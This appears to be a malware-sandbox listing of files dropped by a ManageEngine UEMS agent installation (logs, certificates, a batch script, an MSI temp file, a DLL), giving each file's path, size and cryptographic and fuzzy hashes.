SHA512 2578ce4d1f7a6735d8fcd74b432a6ab4224787e532fcd33ad52d0ae890a63ab03b894e503022ee40469b49f8596d0eae82233c0e85c7cc2c49879faac5d30c9f
TLSH
T15411D1469CE989595B8EE33B22D88B01DC41040B19AE5C527BFD015BE3BA106F7AC56C
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 1KB
SHA256 ebf4c454472dd2a304b7920c218c52d4d947696ea226c3ac98d50e8c3fc01c50
MD5 190fff2f19e319b0696d7de7f101ee81
SHA1 abfe6d558a05b9ce98b51ff240d67f46466c52b2
SHA512 93db722ad48df793d174740e12a8b533263bce1537eba24088d982ac413abd869ca3699dacde4d1fdba59d07ecf06859704937c7f5ee001f0f580343ce4b4776
TLSH
T19041BC47ACFA995A1B4EF72A2299DA51DC01000B1CAE4C91BEFD056BB377106F7AC46C
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 4KB
SHA256 010309b18fda37055e327285cc66eb15a2d29cfbe5543073a6f702235c613984
MD5 b87fdbeff11d14e904f644b56ad64453
SHA1 c2b1125b2f6d1f01cc45ff3d626472cb1fbb9b33
SHA512 6772fc7e5826ff3e526b45f64ff5fda8bfb134365d572bd8b4ac656a858793c8e983c248d8c9ed883588ab50beae01fad95c27c3d817daa8035acf5142083372
SSDEEP 96:eY0ItnXxXJXg+9cXhWXhDa3ECfbiXhLXhCQOiXhLXhCQOiXhLXhCQOiXhLXhCw:90ItnXxXJX4XgXVXZX5XZX5XZX5XZXZ
TLSH
T11E91B547EDE9CA491B4EF71E13A9EA109C01000B1CAE4CA17AFD155AF7B3405F79D8AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 4KB
SHA256 74e0df99bcffe941cdde9b733608ece8ed0c1ab84c9efdb9ace9ddda7b5418f7
MD5 31b0a8221dde3fe2708e7771831bd868
SHA1 364a5969a0d175c36358a78b09e03cb835f26aa9
SHA512 f38925dd9552a9b4aaf1e360e2de90fbb379b55a9d3da60d3ac5f783bfa83fced1ebbe13bdbeda73e75742f45cc7b72b403af849a561524a68aae8f4f079f819
SSDEEP 96:eY0ItnXxXJXg+9cXhWXhDa3ECfbiXhLXhCQOiXhLXhCQOiXhLXhCQOiXhLXhC5N3:90ItnXxXJX4XgXVXZX5XZX5XZX5XZXHo
TLSH
T1F291A547EDE9CA491B4EF71E13A9EA109C01000B1DAE4CA17AFD155AF7B3405F79D8AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentinstaller.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log
Size 11KB
SHA256 8906221be5561152822d4d0b44afd20519858f58880c6d04290ec6771788fc59
MD5 8fa64c59c72fb1226e2cbf9eb3c2a844
SHA1 fbae0f7de4b4eea5f36aeaaa78765cab657b0620
SHA512 c5d4c4c907b99d37b82a740d863e4c8b043e9900a1a304900d478a265d143378ac201f3ba63b9c436823e13ba61048b95b3772b05aea15bcc99f6c36c278b535
SSDEEP 96:khdOJ3fBMZJAjYN0GjcYbNjsOG70GzQKvhSTUeszHqrFxt+XaHsa00R:Is3fBMZJA8N5w4NjK75zV0TwH8AA
TLSH
T14732D00F3EF078608B6D55899D821BEBAE863A1D0497EE947F5A74C1191DC2A0FDE334
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcpatchcpu.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchcpu.log
Size 256B
SHA256 0193144de0047b3178613e0cb4d5e1356190903c36303b96479dc9a959fe5956
MD5 cc32e2994130088184e73d102b285c85
SHA1 f52fa9f65ebc70ae4a76650ebf49225337407af2
SHA512 86c95e157548a103e01e6d04be7d96b4416017af32539d39d4cf3ca6434451f4ee65e953f4f647d6ecdb64f8575d4b83b4de9090e03c2ca332efe2e89c872843
TLSH
T13ED05EEBF43B71140DC11274291DF7D49EDDF93048E8A960707525E45BAE51EBFAC801
MD5 SHA1 SHA512 TLSH

Submit Download

dcrotatelog.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log
Size 29KB
SHA256 4400599f7a1b45185273a1aaa6bb968f7fab08594b501bd147bbcbd705a40774
MD5 258c58df67757ae46702e5241537a1f6
SHA1 45ae0b3fc681f7aa8b523e9ed46babccf47c5d79
SHA512 43b8bb61dc2e7f41615631e2c9b6a493b5c2913ab0d16a63e576c321d33875f686234d2f4e9716235747dbd19aba19f59b2a8cced2a997bd1f185ff6158acc5b
SSDEEP 192:568Cm8Iy92vveFIt/rZcShOIMEZbjmbtFH4bbOIkZ3z7mIx+Yptx7scwuKK1SKds:cRmT7vmhzwgpLvHEB
TLSH
T169D2AC41BFB868351B7E0559AB8D23938C1D3D4D01B6FFA07FBF54D448A88654ECEAA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcrotatelog.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log
Size 1KB
SHA256 c57b64234c77a71647950c838be326cebbf9bfb97523f97168690755c804b6c8
MD5 3ee3ac21d570fc932391678f0b9e08cf
SHA1 12c36e084e6d6aba7285fe555c9c19fe5a83db4d
SHA512 5c851c428bbd8dd991926ca297344f2eb5430ee5209bec509b1dc93fbd85e7f72cefe288c500d20b1a6c37ea8506cf086d844694df1db1db4ab557e4cdfe553c
TLSH
T1B631905A3EBC26F0496E04845A0D2BA3ADC1BE94007FFEA1B77BA5D45C645342FDE234
MD5 SHA1 SHA512 TLSH

Submit Download

dcrotatelog.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log
Size 29KB
SHA256 3fcb94e1215f8c8b0dfbc65c05ed3527bcab0a668d35a5dac654b8d1bcb447f3
MD5 89b9181dd64e4d8dfe60d37f2601717f
SHA1 bdc220cdc405f684a3fa9e4bfcb37ccbdcb10700
SHA512 897bf3f1c614d0dbfb3c8f9d083d7fa9b1815b7e7a862f3a60068e70dd05e945f6c643de2effe33cb8eb5119ce5bfb62b2c28d81ed76f7139826df7e60bbb21e
SSDEEP 192:bdZClZI6bElTydITfHrSGzIsyNuMjzMtptm91wJ+xNTlQ6Be0SntPseqIwKzmwd+:Zgl+D2zkBks/rge0t
TLSH
T10AD2D282BEB8647597AE051BAB9C375B8C0D3F8D00A7FB907F9725D464EA8204ECF550
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecdatatransfer_access.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ecdatatransfer_access.log
Size 5KB
SHA256 6bbab0f4ffe9e8db1ec925602777a170c01c461e5eef3de87a102eb062e568ad
MD5 0a006e21675a54bacb78d49ea7618b6e
SHA1 551e5a9d75c10667e482595d557ff2a5c5115144
SHA512 d443fe5fca2123021f16c1ae459eb5bcde5df128d7e2938678a321c501054bbbbdebc34d79701b7b8113c5221217bad0c2fd4d32a100283d4849791d457ccf56
SSDEEP 96:QdsKZfInLUn77sWnqUayEqW8qqUEQAyOmiHCIK31IK41IouMHWNmBDc7HWzyrHA:GpBxnf/Eft2bmSK3iKWjxBgzvTA
TLSH
T153B1204E86D454BD4B7C4656F38EE4008C16ECA694F17A64FE819C42CEE27CDFAA0F16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setAppPermission_Internal.bat

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat
Size 957B
SHA256 8b78e103d656d873fa2a5377dbef7fd92877005dad78fd3521556158453d8ab9
MD5 e300d6f5c088aee55f0b91f4efc72035
SHA1 97d081d6ea84780f8f556cc6dde8dadd10f09e63
SHA512 366f99f7c3387c5b45daf7d3875ddc246ed00d49bb846b5e21dcf3208b910a65d56cce5a211e13a8f10c698d44b4a814069b6ca06fb28a8614dbfdaf952bdea2
TLSH
T14611DC1EF610053C09AE7AD47BB00D66BA29E0E770151A5E3E06135DDF84A80BFB53DB
MD5 SHA1 SHA512 TLSH

Submit Download

DMRootCA-Server.crt

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA-Server.crt
Size 1KB
SHA256 6904b3a1b5fb1ad9797d9e08f88ffa27f1937fbb1b6346861bcdd8801a3b0352
MD5 7fc11ce880d1a17bb4df1f4ef556ed3b
SHA1 9b509dcaec6782cec5be94450916140c0ce47f25
SHA512 c50f82d7241f71823b9f1df7861f7ca65ccb0f8c00fd23cb232066be2b394dd8b254858f28f604cdf36e4346eb9b850be3ec90bf010848c9f09f9d665154df15
TLSH
T1262119A28D5C1C5CFC13F0C8E2A7660BAC410B9D6CF5A8B71535BF918E429E003E8C68
MD5 SHA1 SHA512 TLSH

Submit Download

DMRootCA.crt

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA.crt
Size 1KB
SHA256 493b0dbf01f4ce15d8da56ba8211ee46c01a48d65907de0d2300bfb3ce3b224f
MD5 babe3ec259d07acc02b995bb12c424c1
SHA1 ef6337e875cb08ed97e31984bca9ec362d33e44e
SHA512 d1bc26060a10baf0d63ced0acff382c2f541650d7e7c1250c34cc2cbd6944c5712acbc2fad80c8d516a05559ba0f610a7f88377bbb447dc31c828ccfca34e832
TLSH
T1AE21E9FB6EC524F8D44BC249F04CB12149362328AD9766E32DB7BE0196B751835A88EC
MD5 SHA1 SHA512 TLSH

Submit Download

DCAgentServerInfo.json

Path C:\Users\Admin\AppData\Local\Temp\extracted_T9DMWZKF\DCAgentServerInfo.json
Size 4KB
SHA256 a5c1132e8e18215db89b831aa34494274f0858f021e32f2f7699a5952ae1fc40
MD5 082082ecdc936438676cdcee330601ce
SHA1 1925f29a8f6cf456e8727c3bc2ea0ad20933084e
SHA512 6353213dc85e2399d3393969ac50f5694e0ee8df4cd3ce71d59fae5b5ef0217ad72a9e798f267e359c1e2c1ea0e7a75cdb308a3a6c1bff8caaf61ca7d2788449
SSDEEP 96:vWG0mjO3khOfAOzeMaAjBInamUJwUreoKC2rkdTYZ3HF8cePmtlYPS/Y:vyl3GOfAIjBfmKPKC2YY3l8ct67
TLSH
T130A149B3DF463E788EDBC04DF16A7427487502146AA691A21FB9BF80F5CE20003DB878
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UEMSAgent.mst

Path C:\Users\Admin\AppData\Local\Temp\extracted_T9DMWZKF\UEMSAgent.mst
Size 20KB
SHA256 8dd93f43089a682cbac39c0a1f364057dcb7d08e9b1480c088f15a5dd56d8be4
MD5 0273976d2ecf588a5514b0f5069968e5
SHA1 b906399f51bffff670d20c5f5d66800a78b1e638
SHA512 da06fe4cf771c3a4840ced5b95a421cbec98023766d0d382b44798fefdf04f794119d3c17eb2165f35df1745bf3ffad600af10b7f89cce24f788a57f6e67a809
SSDEEP 24:J+U2p5gxBuP2xjl/Zd8pJPSgHiHJoxIzxhK:IU2p4gI7dyJaz
TLSH
T109927202FBA1EA16D0490A358E96C3DC0B36FC81DD42836B35E6776FBD721C54D62AA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c_volume.PNF

Path C:\Windows\INF\c_volume.PNF
Size 4KB
SHA256 ef611e42c214e1bfa04c49a3f4a0eb43324e17b000819fc5a8de25163d5af4a3
MD5 75f9d766ee9be90adbafb4b4ba4710cc
SHA1 fb15690b367b8fb5ea748c25886a58b640bfcadb
SHA512 058b3a6bde5d4f02143d8e818a0d3a010751d8c42b5d2d34b552c7d06283c13f511d0ecbb3a1323e99179146a88edfdb191fb7a22efd89e48251e06120729939
SSDEEP 48:FQ9AgrNDt4yFZ5mZMRKtamYbeaIDbuRbTcVMRTplqEEt45a/U:FQ93rht4yuamYhuuNTl3OKP
TLSH
T1CAA15545B7E88E24F27A9935BCF060E641A6BC924C05EA5F3388730D0C73794E7B072A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI67C4.tmp

Path C:\Windows\Installer\MSI67C4.tmp
Size 429KB
SHA256 6da8e36f10949a6fa6bccca36b0c17a7b6d6e115139ea68b581bd384e5f1ee0e
MD5 1c00042ce9032c2eeb93941f80fb8ae9
SHA1 cf7c0f2eeb3b3694121fde4d0a0be51974dd88fe
SHA512 7c6e5f9a0640d6ffaa930dd16054b0ba7992bf53d5f87b266919f06dbf3879a4af18a70eb7fd08cafda5d2cf4de1036b2e90ffc1588b358932352531234eb4b4
SSDEEP 12288:HpqSpvhUEaxBOJBesypR2wd/8Vyfp7NTW:HJhUZxBOWsc1DFNS
TLSH
T18394BF1135C9C031E1AE5170ADB5AF76AE7DBD200F2858CBD3C84D3B1A645C2AB76F1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentlibxml2.dll

Path C:\Windows\SysWOW64\dcagentlibxml2.dll
Size 2.0MB
SHA256 e8022ac0d509bcbd313ce1c8585621caa201bf5dca267c44c237a6dc9cf1a898
MD5 cd4e1e81e5c7ae997b36298700920c1a
SHA1 d12222ae48c7496835e669386cbf8999e03e50d0
SHA512 7c3717ff2c7aad914104aa15a5fac364ab93b967ab8a4708c8edbb28cdbae7b17bf4a9f82c367cc3533aa7cd7b075bd78719a79ae52c93d4e230179f31b039fb
SSDEEP 49152:t1fOkYtuKEoTHy9uizLBAUZLY6tPT8FGaXQZ:jfOk4rwLBAUZLvZ
TLSH
T1F4A5BF04B980C532F4EB01F1CAFE5BFB982DCD26672554E767E578D889301E162BEB09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download